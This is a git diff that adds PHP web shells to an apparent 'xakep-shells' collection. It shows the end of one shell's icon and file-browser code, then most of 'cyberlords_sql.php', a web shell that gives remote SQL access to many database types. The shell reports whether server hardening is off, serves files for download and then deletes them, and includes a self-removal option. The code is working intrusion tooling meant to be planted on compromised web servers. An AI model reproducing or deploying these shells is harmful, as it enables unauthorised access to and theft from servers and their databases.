+"0bB6oYGO4WXBiT0kEnJJtcXwJc2kvb51R/d0AQA7",
+"ext_pif"=>
+"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
+"/////ywAAAAAEAAQAAAEO/DISasEOGuNDkJMeDDjGH7HpmYd9jwazKUybG+tvOlA7gK1mYv3w7RW".
+"mJRRiRQ2Z5+odNqxWK/YrDUCADs=",
+"ext_pl"=>
+"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
+"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
+"ext_png"=>
+"R0lGODlhEAAQADMAACH5BAEAAAoALAAAAAAQABAAgwAAAMDAwP///4CAgIAAAICAAP//AP8AAAAA".
+"gAAA/wAAAAAAAAAAAAAAAAAAAAAAAARgUKlBqx0yDyEACBxHZRMXDGC4YQOwCVQKdJ7bggcBtl8Q".
+"AJNfIBcoGD4CH1CBSAByxp5pOUAgCFFf6HexIKeore+2BaJ8p1sqaU6NpdOgiQJny5On+u+e7qH3".
+"EzWCgwARADs=",
+"ext_reg"=>
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgACAgMDAwAD//wAAAAAAAANM".
+"aCrcrtCIQCslIkprScjQxFFACYQO053SMASFC6xSEQCvvAr2gMuzCgEwiZlwwQtRlkPuej2nkAh7".
+"GZPK43E0DI1oC4J4TO4qtOhSAgA7",
+"ext_rev"=>
+"R0lGODlhEAAQAFUAACH5BAEAAD8ALAAAAAAQABAAhQAAAOvz+////1gdAFAAANDY4IYCU/9aZJIC".
+"Wtvi7PmyheLq8xE2AAAyUNTc5DIyMr7H09jf5/L5/+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8Dw8P9XV1KOjpNnZ2MvLytzc24mJjXh4ipeXl2JjY5STk25vdYqKiamp".
+"qV1dXunp7Gxsa52cnHl5fZiYtrq6u9TU1ExMTq+vrvb3+FNTU+7t7srJyTQ0NO3s7Ozs63t8fE5N".
+"Urq5unBwdZqamujn54CAktbV1X18fbW1tdTU0wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
+"BAEAAGQALAAAAAARAAwAAAeLgGSCg4SFhoeIZCwoAmArFDtPC4UxABkJBSQMC1cAGw44PoNOYw0C".
+"BAAMHFgNUkkqKUBeZBVLYqcGBzcfI11MLV82CGQSUUIKJlsyNJgDQ1ZNQUpkOQEBVTwdCmEWFwhF".
+"IBpTWYMeAyUYJ1w6IjVQITNHP4RUEEQvLloTSAERBok9YBh5cCCRQUKBAAA7",
+"odel"=>
+"R0lGODlhEQAPAKIEAFQhHFQhG1MhG5QaHQAAAAAAAAAAAAAAACH5BAEAAAQALAAAAAARAA8AAAMq".
+"SLrc/jDKIZoYb+iqgsbOVwFf9JGaRHypilLqxQaRl4rPu+AhuPuqYDABADs="
+
+);
+$imgequals = array(
+"ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
+"ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml"),
+"ext_htaccess"=>array("ext_htaccess","ext_htpasswd")
+);
+ ksort($arrimg);
+ if (!$getall)
+ {
+ header("Content-type: image/gif");
+ header("Cache-control: public");
+ header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
+ header("Cache-control: max-age=".(60*60*24*7));
+ header("Last-Modified: ".date("r",filemtime(__FILE__)));
+ foreach($imgequals as $k=>$v)
+ {
+if (in_array($img,$v)) {$img = $k;}
+ }
+ if (empty($arrimg[$img])) {$img = "small_unk";}
+ if (in_array($img,$ext_tar)) {$img = "ext_tar";}
+ echo base64_decode($arrimg[$img]);
+ }
+ else
+ {
+ echo "";
+ $k = array_keys($arrimg);
+ foreach ($k as $u)
+ {
+echo $u.": ";
+ }
+ echo " ";
+ }
+ exit;
+}
+if ($act == "about")
+{
+ $dàta = "Any stupid copyrights and copylefts";
+ echo $data;
+}
+
+$microtime = round(getmicrotime()-$starttime,4);
+
+?>
+ // [CT] TEAM SCRIPTING - RODNOC ?>
\ No newline at end of file
diff --git a/xakep-shells/PHP/cyberlords_sql.php.php.txt b/xakep-shells/PHP/cyberlords_sql.php.php.txt
new file mode 100644
index 0000000..f3a39b6
--- /dev/null
+++ b/xakep-shells/PHP/cyberlords_sql.php.php.txt
@@ -0,0 +1,1722 @@
+Access Forbidden You must enter a valid login and password to access this resource";
+
+// OS
+$win = strtolower(substr(PHP_OS, 0, 3)) == "win";
+if($win) {
+ $unix_socket = 0;
+}
+
+// Set php.ini sections
+ignore_user_abort(true); // ignore user abort
+ini_set( 'display_errors', true ); // display errors
+ini_set( 'html_errors', false ); // html error
+if($unix_socket && dbtype == 'mysql') {
+ ini_set( 'mysql.default_socket', "/tmp/mysql.sock" ); // [!][+]
+}
+error_reporting(E_ERROR | E_PARSE | E_WARNING); // Error reporting E_ERROR | E_PARSE | E_WARNING
+ini_set( 'output_buffering', false ); // output buffering
+set_time_limit($timelimit); // time limit
+set_magic_quotes_runtime(false); // magic quotes runtime NULL
+
+//-----------------------------------------------
+// END USER CONFIGURABLE ELEMENTS
+//-----------------------------------------------
+
+// PHP version
+$phpversion = phpversion();
+
+// Authenticate function [+]
+if (!@stristr($_SERVER["GATEWAY_INTERFACE"],"cgi") || $auth == true) {
+ if (!empty($user) && ( !isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$user || $_SERVER['PHP_AUTH_PW']!==$passwd)) {
+ header('WWW-Authenticate: Basic realm="'.$login_txt.'"');
+ header('HTTP/1.0 401 Unauthorized');
+ die( $accessdeniedmess );
+ }
+}
+
+// HEADERS [!]
+header("Content-Type: text/html; charset=windows-1251");
+header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
+header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
+header("Cache-Control: no-store, no-cache, must-revalidate");
+header("Cache-Control: post-check=0, pre-check=0", false);
+header("Pragma: no-cache");
+
+// Checking php version [!]
+if(version_compare($phpversion, '4.1.0') == -1) {
+ $_POST = &$HTTP_POST_VARS;
+ $_GET = &$HTTP_GET_VARS;
+ $_SERVER = &$HTTP_SERVER_VARS;
+}
+
+// Cheking PHP version
+if (str_replace('.',null,$phpversion) < 410) {
+ die(" Warning! You should update PHP to 4.1.0. Current version ".$phpversion." ");
+}
+
+// Checking magic_quotes_gpc()
+if (@get_magic_quotes_gpc()) {
+ foreach ($_POST as $k=>$v) {
+ $_POST[$k] = stripslashes($v);
+ }
+ foreach ($_GET as $k=>$v) {
+ $_GET[$k] = stripslashes($v);
+ }
+}
+
+// Buffering start
+@ob_start();
+// Set options
+@ob_implicit_flush(0);
+// Start Session
+@session_start();
+
+// Microtime
+if (!function_exists("get_micro_time")) {
+ function get_micro_time() {
+ list($usec, $sec) = explode(" ", microtime());
+ return ((float)$usec + (float)$sec);
+ }
+}
+
+// starttime
+define("start_time",get_micro_time());
+
+// Images Array
+$images_array = array(
+"sql"=>
+"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAABl0RVh0
+U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAAMUExURf///wAAAJmZzAAAACJoURkAAAAE
+dFJOU////wBAKqn0AAAAiUlEQVR42mJgZmZEAszMAAHEwMzIhAQYmQECCEMAIIBAAgwMTBAMEgAI
+IKAAkGYCc8ECAAGEIQAQQGAzG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AAHEwM6GAtgBAggowMTE
+BMJMDKyMzCzsAAGEEADzWdgBAgiuBcJnYwcIIKAAKysrEDOA+Kxs7AABBBIA0qwMrCA+UAAggKAq
+gHwQAJoBEEBQFSxAwAo2AyCAEGawQswACCAMMwACCK4CzAcKAAQQTAWEDxQACCCYCggfKAAQQBie
+AwggBnTvAwQYAKRBBR9UXrlRAAAAAElFTkSuQmCC
+",
+"primary"=>
+"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAABl0RVh0
+U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAABLUExURfnHAOq7APXEAPTDAPrIAO6+APzK
+APPCAOy9AP7LAPHBAP3KAOa4APjGAO+/APDAAPfGAPvJAPLCAOi6AJmZzAAAAP///2ZmZgAAAMjq
+96cAAAAZdFJOU////////////////////////////////wABNAq3AAAAtklEQVR42mKQQAMAAcQg
+IQ4BoiAgLi4BEEBAAREREXERUR5GfiYWUXEJgACCCogKM7KKMnByikoABBBUiygHKzMzMxuDqARA
+AAEFxMTExMVEBbmZ+BiBWgACCCQgChQQE2Vh5wAyJAACCKYCKMIlCmRIAAQQTIWoKIMQWAAggJBU
+sIMFAAIIoYKFCSwAEEBIKgTAAgABhFDBxgsWAAggJBUMYAGAAIJ7DuhaECEBEEAM6N4HCDAAhuMU
+XdCwN9oAAAAASUVORK5CYII=
+",
+"empty"=>
+"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAABl0RVh0
+U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAAVUExURczMzJmZzJmZmf///2ZmZgAAAAAA
+AICwWGkAAAAHdFJOU////////wAaSwNGAAAAiElEQVR42mJgQwMAAcTAxoIC2AACCCjAyMgIwmDA
+wgYQQHABVlZWsABAAEG0sMIACxtAAAEFmJlZmZiYGBgYgCQrG0AAQQQQgA0ggMACzCysTKw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IgAAggFL+AAEAAofoWCAACDACoswMV4KhprQAAAABJRU5ErkJggg==
+",
+"download"=>
+"R0lGODlhEAAQALMAAAAAAP///wD/AAC/ACAZAZCJcf/GCvetCcDAwICAgP///wAAAAAAAAAAAAAAAA
+AAACH5BAEAAAoALAAAAAAQABAAAARIUMmpziE002Ow1pz3bd04WSEBmJXhimY4JjRdEEVNSwni/0BfA
+pAIGI9II40YDA4Ey15TKhz2dNirFZFMIqLZ8EoBKJvPZkkEADs=
+",
+"announse"=>
+"R0lGODlhEwASAMQfAP/GjAhgjPT4+v6qVbqegv7r1/+dOq3H0v3Sp1RxcAICAo22zNWzjFmTr9XDq9a
+PQmuhvN/r8ayGUO7XvkyIo4p/aH9hQ3eSlP+3b/7fv3+pu0o0Hy54nMHY42KZs////yH5BAEAAB8ALAA
+AAAATABIAAAWe4CeO4tEsZJp2TXN41KGmkVvcRyDPIqTdwFyEB2ncJg6gBjI7cDKZiUJRgWYoqBTHYd0
+oCFZHYDhaUBBogtqBRl80I0GAjbZMLW10QCBaXACAAAh3gYAXWRwMhQCEhQwcH3IYk5R3lJR7EQEDnJ1
+3nZ0cEXKgA14KGw+lex8aCQawsbKxFUw9CRIPD7O6EgkQZCUUHBwBxsbELjzLKSEAOw==
+",
+);
+
+if (!function_exists("create_image")) {
+ function create_image( $value = false ) {
+ global $images_array;
+ return base64_decode($images_array[$value]);
+ }
+}
+
+// Images
+if (isset($_GET["image"])) {
+ @ob_clean();
+ header("Content-type: image/gif");
+ header("Cache-control: public");
+ header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
+ header("Cache-control: max-age=".(60*60*24*7));
+ header("Last-Modified: ".date("r",filemtime(__FILE__)));
+ echo create_image($_GET["image"]);
+ exit();
+}
+
+/*
+ * Download file
+ */
+if (!function_exists("downloadfile")) {
+ function downloadfile( $file ) {
+ @ob_clean();
+ $filetype = 'application/download';
+ header("Pragma: public");
+ header("Expires: 0");
+ header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
+ header("Cache-Control: private",false);
+ header("Content-Type: ".$filetype);
+ header("Content-Disposition: attachment; filename=\"".basename($file)."\";");
+ header("Content-Transfer-Encoding: binary");
+ header("Content-Length: ".@filesize($file));
+ set_time_limit(0);
+ $buffer = '';
+ $handle = @fopen($file, 'rb');
+ if ($handle === false) {
+ return false;
+ }
+ while (!feof($handle)) {
+ $buffer .= fread($handle, 1024);
+ }
+ @fclose($fp);
+ echo $buffer;
+ unlink($file);
+ exit;
+ }
+}
+
+/*
+ * AddInput
+ */
+if (!function_exists("new_input")) {
+ function new_input($type,$name,$size,$value) {
+ $str = " ";
+ return $str;
+ }
+}
+
+// Language array
+$lang = array(
+ // Russian
+ 'ru_text1' => 'Çàãðóçèòü ôàéë',
+ 'ru_text2' => 'Çàïðîñ',
+ 'ru_text3' => 'Ñòàòóñ ñåðâåðà',
+ 'ru_text4' => 'Ïåðåìåííûå ñåðâåðà',
+ 'ru_text5' => 'Ïðîöåññû ñåðâåðà',
+ 'ru_text6' => 'Ñïèñîê ÁÄ',
+ 'ru_text7' => 'ÁÄ',
+ 'ru_text8' => 'Actions',
+ 'ru_text9' => 'Ñîçäàòü ÁÄ',
+ 'ru_text10' => 'Âñåãî ÁÄ',
+ 'ru_text11' => 'Ïîêàçàòü',
+ 'ru_text12' => 'Ñîõðàíèòü ÁÄ',
+ 'ru_text13' => 'Óäàëèòü ÁÄ',
+ 'ru_text14' => 'Òàáëèöà',
+ 'ru_text15' => 'Ñîçäàòü òàáëèöó',
+ 'ru_text16' => 'Ñòðóêòóðà',
+ 'ru_text17' => 'Ïîêàçàòü',
+ 'ru_text18' => 'Âñòàâèòü',
+ 'ru_text19' => 'Ðåäàêòèðîâàòü',
+ 'ru_text20' => 'Óäàëèòü',
+ 'ru_text21' => 'Ñîõðàíèòü òàáëèöó',
+ 'ru_text22' => 'Ñòðóêòóðà òàáëèöû',
+ 'ru_text23' => 'Ñòðóêòóðó è èíôîðìàöèþ',
+ 'ru_text24' => 'Ñòðóêòóðó',
+ 'ru_text25' => 'Èíôîðìàöèþ',
+ 'ru_text26' => 'Ñêà÷àòü',
+ 'ru_text27' => 'Âíèìàíèå!!! Ôàéë íå ñóùåñòâóåò èëè íåò ïðàâ äëÿ ÷òåíèÿ',
+ 'ru_text28' => 'Âíèìàíèå!!! Ôàéë ïóñòîé èëè äðóãàÿ îøèáêà',
+ 'ru_text29' => 'Èíôîðìàöèÿ SQL ñåðâåðà',
+ 'ru_text30' => 'Óäàëèòü ñêðèïò',
+ 'ru_text31' => 'Ñïàñèáî ÷òî ïîëüçîâàëèñü SQL êëèåíòîì '.$version,
+ // English
+ 'en_text1' => 'Load File',
+ 'en_text2' => 'Query',
+ 'en_text3' => 'Server status',
+ 'en_text4' => 'Server variables',
+ 'en_text5' => 'Process list',
+ 'en_text6' => 'DB List',
+ 'en_text7' => 'DB',
+ 'en_text8' => 'Actions',
+ 'en_text9' => 'Create DB',
+ 'en_text10' => 'Total DB',
+ 'en_text11' => 'Load',
+ 'en_text12' => 'Dump DB',
+ 'en_text13' => 'Drop DB',
+ 'en_text14' => 'Table',
+ 'en_text15' => 'Create Table',
+ 'en_text16' => 'Desc',
+ 'en_text17' => 'Show',
+ 'en_text18' => 'Insert',
+ 'en_text19' => 'Edit',
+ 'en_text20' => 'Delete',
+ 'en_text21' => 'Dump Table',
+ 'en_text22' => 'Table Desc',
+ 'en_text23' => 'Desc and data info',
+ 'en_text24' => 'Desc info',
+ 'en_text25' => 'Data info',
+ 'en_text26' => 'Download',
+ 'en_text27' => 'Warning!!! File not exists or not readable',
+ 'en_text28' => 'Warning!!! File is empty or some error',
+ 'en_text29' => 'Server Information',
+ 'en_text30' => 'Self remove',
+ 'en_text31' => 'Thanks for using SQL Client '.$version,
+);
+
+class ResultSet {
+ var $result;
+ var $total_rows;
+ var $fetched_rows;
+
+ function set_result( $res ) {
+ $result = $res;
+ }
+
+ function get_result() {
+ return $result;
+ }
+
+ function set_total_rows( $rows ) {
+ $total_rows = $rows;
+ }
+
+ function get_total_rows() {
+ return $total_rows;
+ }
+
+ function set_fetched_rows( $rows ) {
+ $fetched_rows = $rows;
+ }
+
+ function get_fetched_rows() {
+ return $fetched_rows;
+ }
+
+ function increment_fetched_rows() {
+ $fetched_rows = $fetched_rows + 1;
+ }
+}
+
+if (!function_exists("sql_error")) {
+ function sql_error() {
+ global $dbtype;
+ switch ($dbtype) {
+ case "mysql":
+ return mysql_error();
+ break;;
+ case "mSQL":
+ return msql_error($host);
+ break;;
+ default:
+ break;;
+ }
+ }
+}
+
+if (!function_exists("sql_connect")) {
+ function sql_connect($host, $user, $password, $db) {
+ global $dbtype;
+ switch ($dbtype) {
+ case "mysql":
+ $dbi=@mysql_connect($host, $user, $password);
+ @mysql_select_db($db);
+ return $dbi;
+ break;;
+ case "mSQL":
+ $dbi=msql_connect($host);
+ msql_select_db($db);
+ return $dbi;
+ break;;
+ case "postgres":
+ $dbi=@pg_connect("host=$host user=$user password=$password port=5432 dbname=$db");
+ return $dbi;
+ break;;
+ case "postgres_local":
+ $dbi=@pg_connect("user=$user password=$password dbname=$db");
+ return $dbi;
+ break;;
+ case "ODBC":
+ $dbi=@odbc_connect($db,$user,$password);
+ return $dbi;
+ break;;
+ case "ODBC_Adabas":
+ $dbi=@odbc_connect($host.":".$db,$user,$password);
+ return $dbi;
+ break;;
+ case "Interbase":
+ $dbi=@ibase_connect($host.":".$db,$user,$password);
+ return $dbi;
+ break;;
+ case "Sybase":
+ $dbi=@sybase_connect($host, $user, $password);
+ sybase_select_db($db,$dbi);
+ return $dbi;
+ break;;
+ default:
+ break;;
+ }
+ }
+}
+
+if (!function_exists("sql_list_processes")) {
+ function sql_list_processes($id) {
+ global $dbtype;
+ switch ($dbtype) {
+ case "mysql":
+ return @mysql_list_processes($id);
+ break;;
+ default:
+ break;;
+ }
+ }
+}
+
+if (!function_exists("sql_field_name")) {
+ function sql_field_name($res,$count) {
+ global $dbtype;
+ switch ($dbtype) {
+ case "mysql":
+ return mysql_field_name($res,$count);
+ break;;
+ default:
+ break;;
+ }
+ }
+}
+
+if (!function_exists("sql_logout")) {
+ function sql_logout($id) {
+ global $dbtype;
+ switch ($dbtype) {
+ case "mysql":
+ $dbi=@mysql_close($id);
+ return $dbi;
+ break;;
+ case "mSQL":
+ $dbi=@msql_close($id);
+ return $dbi;
+ break;;
+ case "postgres":
+ case "postgres_local":
+ $dbi=@pg_close($id);
+ return $dbi;
+ break;;
+ case "ODBC":
+ case "ODBC_Adabas":
+ $dbi=@odbc_close($id);
+ return $dbi;
+ break;;
+ case "Interbase":
+ $dbi=@ibase_close($id);
+ return $dbi;
+ break;;
+ case "Sybase":
+ $dbi=@sybase_close($id);
+ return $dbi;
+ break;;
+ default:
+ break;;
+ }
+ }
+}
+
+if (!function_exists("get_server_info")) {
+ function get_server_info() {
+ global $dbtype;
+ switch ($dbtype) {
+ case "mysql":
+ return "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info().")";
+ break;;
+ default:
+ return "unknown";
+ break;;
+ }
+ }
+}
+
+if (!function_exists("sql_num_fields")) {
+ function sql_num_fields($res) {
+ global $dbtype;
+ switch ($dbtype) {
+ case "mysql":
+ return mysql_num_fields($res);
+ break;;
+ case "mSQL":
+ return msql_num_fields($res);
+ break;;
+ default:
+ break;;
+ }
+ }
+}
+
+if (!function_exists("sql_affected_rows")) {
+ function sql_affected_rows() {
+ global $dbtype;
+ switch ($dbtype) {
+ case "mysql":
+ return mysql_affected_rows();
+ break;;
+ case "mSQL":
+ return msql_affected_rows();
+ break;;
+ default:
+ break;;
+ }
+ }
+}
+
+/*
+ * sql_query($query, $id)
+ * executes an SQL statement, returns a result identifier
+ */
+if (!function_exists("sql_query")) {
+ function sql_query($query, $id) {
+ global $dbtype;
+ switch ($dbtype) {
+ case "mysql":
+ $res=mysql_query($query, $id);
+ return $res;
+ break;;
+ case "mSQL":
+ $res=@msql_query($query, $id);
+ return $res;
+ break;;
+ case "postgres":
+ case "postgres_local":
+ $res=pg_exec($id,$query);
+ $result_set = new ResultSet;
+ $result_set->set_result( $res );
+ $result_set->set_total_rows( sql_num_rows( $result_set ) );
+ $result_set->set_fetched_rows( 0 );
+ return $result_set;
+ break;;
+ case "ODBC":
+ case "ODBC_Adabas":
+ $res=@odbc_exec($id,$query);
+ return $res;
+ break;;
+ case "Interbase":
+ $res=@ibase_query($id,$query);
+ return $res;
+ break;;
+ case "Sybase":
+ $res=@sybase_query($query, $id);
+ return $res;
+ break;;
+ default:
+ break;;
+ }
+ }
+}
+
+/*
+ * sql_num_rows($res)
+ * given a result identifier, returns the number of affected rows
+ */
+if (!function_exists("sql_num_rows")) {
+ function sql_num_rows($res) {
+ global $dbtype;
+ switch ($dbtype) {
+ case "mysql":
+ $rows=mysql_num_rows($res);
+ return $rows;
+ break;;
+ case "mSQL":
+ $rows=msql_num_rows($res);
+ return $rows;
+ break;;
+ case "postgres":
+ case "postgres_local":
+ $rows=pg_numrows( $res->get_result() );
+ return $rows;
+ break;;
+ case "ODBC":
+ case "ODBC_Adabas":
+ $rows=odbc_num_rows($res);
+ return $rows;
+ break;;
+ case "Interbase":
+ echo " Error! PHP dosen't support ibase_numrows! ";
+ return false;
+ break;;
+ case "Sybase":
+ $rows=sybase_num_rows($res);
+ return $rows;
+ break;;
+ default:
+ break;;
+ }
+ }
+}
+
+/*
+ * sql_fetch_row(&$res,$row)
+ * given a result identifier, returns an array with the resulting row
+ * Needs also a row number for compatibility with postgres
+ */
+if (!function_exists("sql_fetch_row")) {
+ function sql_fetch_row(&$res, $nr=0) {
+ global $dbtype;
+ switch ($dbtype) {
+ case "mysql":
+ $row = mysql_fetch_row($res);
+ return $row;
+ break;;
+ case "mSQL":
+ $row = msql_fetch_row($res);
+ return $row;
+ break;;
+ case "postgres":
+ case "postgres_local":
+ if ( $res->get_total_rows() > $res->get_fetched_rows() ) {
+ $row = pg_fetch_row($res->get_result(), $res->get_fetched_rows() );
+ $res->increment_fetched_rows();
+ return $row;
+ } else {
+ return false;
+ }
+ break;;
+ case "ODBC":
+ case "ODBC_Adabas":
+ $row = array();
+ $cols = odbc_fetch_into($res, $nr, $row);
+ return $row;
+ break;;
+ case "Interbase":
+ $row = ibase_fetch_row($res);
+ return $row;
+ break;;
+ case "Sybase":
+ $row = sybase_fetch_row($res);
+ return $row;
+ break;;
+ default:
+ break;;
+ }
+ }
+}
+
+/*
+ * sql_fetch_array($res,$row)
+ * given a result identifier, returns an associative array
+ * with the resulting row using field names as keys.
+ * Needs also a row number for compatibility with postgres.
+ */
+if (!function_exists("sql_fetch_array")) {
+ function sql_fetch_array($res, $nr=0) {
+ global $dbtype;
+ switch ($dbtype) {
+ case "mysql":
+ $row = array();
+ $row = mysql_fetch_array($res, MYSQL_ASSOC);
+ return $row;
+ break;;
+ case "mSQL":
+ $row = array();
+ $row = msql_fetch_array($res,$nr);
+ return $row;
+ break;;
+ case "postgres":
+ case "postgres_local":
+ if( $res->get_total_rows() > $res->get_fetched_rows() ) {
+ $row = array();
+ $row = pg_fetch_array($res->get_result(), $res->get_fetched_rows() );
+ $res->increment_fetched_rows();
+ return $row;
+ } else {
+ return false;
+ }
+ break;;
+/*
+ * ODBC doesn't have a native _fetch_array(), so we have to
+ * use a trick. Beware: this might cause HUGE loads!
+ */
+ case "ODBC":
+ $row = array();
+ $result = array();
+ $result = odbc_fetch_row($res, $nr);
+ $nf = odbc_num_fields($res); /* Field numbering starts at 1 */
+ for($count=1; $count < $nf+1; $count++) {
+ $field_name = odbc_field_name($res, $count);
+ $field_value = odbc_result($res, $field_name);
+ $row[$field_name] = $field_value;
+ }
+ return $row;
+ break;;
+ case "ODBC_Adabas":
+ $row = array();
+ $result = array();
+ $result = odbc_fetch_row($res, $nr);
+ $nf = count($result)+2; /* Field numbering starts at 1 */
+ for($count=1; $count < $nf; $count++) {
+ $field_name = odbc_field_name($res, $count);
+ $field_value = odbc_result($res, $field_name);
+ $row[$field_name] = $field_value;
+ }
+ return $row;
+ break;;
+ case "Interbase":
+ $orow=ibase_fetch_object($res);
+ $row=get_object_vars($orow);
+ return $row;
+ break;;
+ case "Sybase":
+ $row = sybase_fetch_array($res);
+ return $row;
+ break;;
+ }
+ }
+}
+
+if (!function_exists("sql_fetch_assoc")) {
+ function sql_fetch_assoc($res) {
+ global $dbtype;
+ switch ($dbtype) {
+ case "mysql":
+ $row = array();
+ $row = mysql_fetch_assoc($res);
+ return $row;
+ break;;
+ case "mSQL":
+ $row = array();
+ $row = msql_fetch_assoc($res);
+ return $row;
+ break;;
+ }
+ }
+}
+
+if (!function_exists("sql_fetch_object")) {
+ function sql_fetch_object(&$res, $nr=0) {
+ global $dbtype;
+ switch ($dbtype) {
+ case "mysql":
+ $row = mysql_fetch_object($res);
+ if($row) return $row;
+ else return false;
+ break;;
+ case "mSQL":
+ $row = msql_fetch_object($res);
+ if($row) {
+ return $row;
+ } else {
+ return false;
+ }
+ break;;
+ case "postgres":
+ case "postgres_local":
+ if( $res->get_total_rows() > $res->get_fetched_rows() ) {
+ $row = pg_fetch_object( $res->get_result(), $res->get_fetched_rows() );
+ $res->increment_fetched_rows();
+ if($row) {
+ return $row;
+ } else {
+ return false;
+ }
+ } else {
+ return false;
+ }
+ break;;
+ case "ODBC":
+ $result = odbc_fetch_row($res, $nr);
+ if(!$result) return false;
+ $nf = odbc_num_fields($res); /* Field numbering starts at 1 */
+ for($count=1; $count < $nf+1; $count++) {
+ $field_name = odbc_field_name($res, $count);
+ $field_value = odbc_result($res, $field_name);
+ $row->$field_name = $field_value;
+ }
+ return $row;
+ break;;
+ case "ODBC_Adabas":
+ $result = odbc_fetch_row($res, $nr);
+ if(!$result) return false;
+ $nf = count($result)+2; /* Field numbering starts at 1 */
+ for($count=1; $count < $nf; $count++) {
+ $field_name = odbc_field_name($res, $count);
+ $field_value = odbc_result($res, $field_name);
+ $row->$field_name = $field_value;
+ }
+ return $row;
+ break;;
+ case "Interbase":
+ $orow = ibase_fetch_object($res);
+ if($orow) {
+ $arow=get_object_vars($orow);
+ while(list($name,$key)=each($arow)) {
+ $name=strtolower($name);
+ $row->$name=$key;
+ }
+ return $row;
+ } else return false;
+ break;;
+ case "Sybase":
+ $row = sybase_fetch_object($res);
+ return $row;
+ break;;
+ }
+ }
+}
+
+/*
+ * Function Free Result for function free the memory
+ */
+if (!function_exists("sql_free_result")) {
+ function sql_free_result($res) {
+ global $dbtype;
+ switch ($dbtype) {
+ case "mysql":
+ return mysql_free_result($res);
+ break;;
+ case "mSQL":
+ return msql_free_result($res);
+ break;;
+ case "postgres":
+ case "postgres_local":
+ return pg_FreeResult( $res->get_result() );
+ break;;
+ case "ODBC":
+ case "ODBC_Adabas":
+ return odbc_free_result($res);
+ break;;
+ case "Interbase":
+ echo( " Error! PHP dosen't support ibase_free_result! " );
+ break;;
+ case "Sybase":
+ return sybase_free_result($res);
+ break;;
+ }
+ }
+}
+
+/*
+ * Function Format Size
+ */
+if (!function_exists("formatsize")) {
+ function formatsize( $value = false ){
+ if($value >= 1073741824) {
+ $value = round($value / 1073741824 * 100) / 100 . "Gb";
+ } elseif($value >= 1048576) {
+ $value = round($value / 1048576 * 100) / 100 . "Mb";
+ } elseif($value >= 1024) {
+ $value = round($value / 1024 * 100) / 100 . "Kb";
+ } else {
+ $value = $value . "b";
+ }
+ return $value;
+ }
+}
+
+/*
+ * Return Alphanumerical chars
+ */
+if (!function_exists("AlphanumericalClean")) {
+ function AlphanumericalClean( $str = false ) {
+ return preg_replace( "/[^à-ÿÀ-ßa-zA-Z0-9\-\_\ ]/", "" , $str );
+ }
+}
+
+/*
+ * Get server info
+ */
+if (!function_exists("server_info")) {
+ function server_info() {
+ global $tmpdir,$baseurl;
+ if (empty($tmpdir)) {
+ $tmpdir = ini_get("upload_tmp_dir");
+ if (is_dir($tmpdir)) {$tmpdir = realpath("./");}
+ }
+ $tmpdir = @realpath($tmpdir);
+ // Safe mod checking
+ if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
+ $safemode = "ON (secure) ";
+ } else {
+ $safemode = "OFF (not secure) ";
+ }
+ // Open Base dir
+ if (@ini_get("open_basedir") or strtolower(@ini_get("open_basedir")) == "on") {
+
+ $openbasedir = "ON (secure) ";
+ } else {
+ $openbasedir = "OFF (not secure) ";
+ }
+ // Return information about server in array
+ return array
+ (
+ "OS" => wordwrap(php_uname(),90," ",1),
+ "TMP_DIR" => $tmpdir,
+ "UID" => getmyuid(),
+ "GID" => getmygid(),
+ "Process PID" => getmypid(),
+ "Server Software" => $_SERVER["SERVER_SOFTWARE"],
+ "PHP version" => "".phpversion()." ",
+ "SafeMod" => $safemode,
+ "Open Base Dir" => $openbasedir,
+ "SQL version" => get_server_info(),
+ "Server name" => $_SERVER["SERVER_NAME"],
+ "Current user" => get_current_user(),
+ );
+ }
+}
+
+/*
+ * SQL error reporting
+ */
+function error($error, $query) {
+ echo(nl2br( ''."Query execute faild Please click here to go back\n\n"));
+}
+
+/*
+ * SQL query execute
+ */
+function query($id, $query) {
+ global $lang,$language;
+ $res = '';
+ if((isset($query)) && (!empty($query))) {
+ $query = stripslashes($query);
+ $res = sql_query($query, $id);
+ if (sql_error()) {
+ error(sql_error(), $query);
+ } else {
+ return $res;
+ }
+ } else {
+ return false;
+ }
+}
+
+/*
+ * SQL quick launch
+ */
+function quicklaunch() {
+ global $lang,$language,$baseurl,$server,$port,$login,$password;
+ $quicklaunch = array
+ (
+ array($lang[$language.'_text1'],$baseurl."&act=11"),
+ array($lang[$language.'_text2'],$baseurl."&act=09"),
+ array($lang[$language.'_text3'],$baseurl."&act=01"),
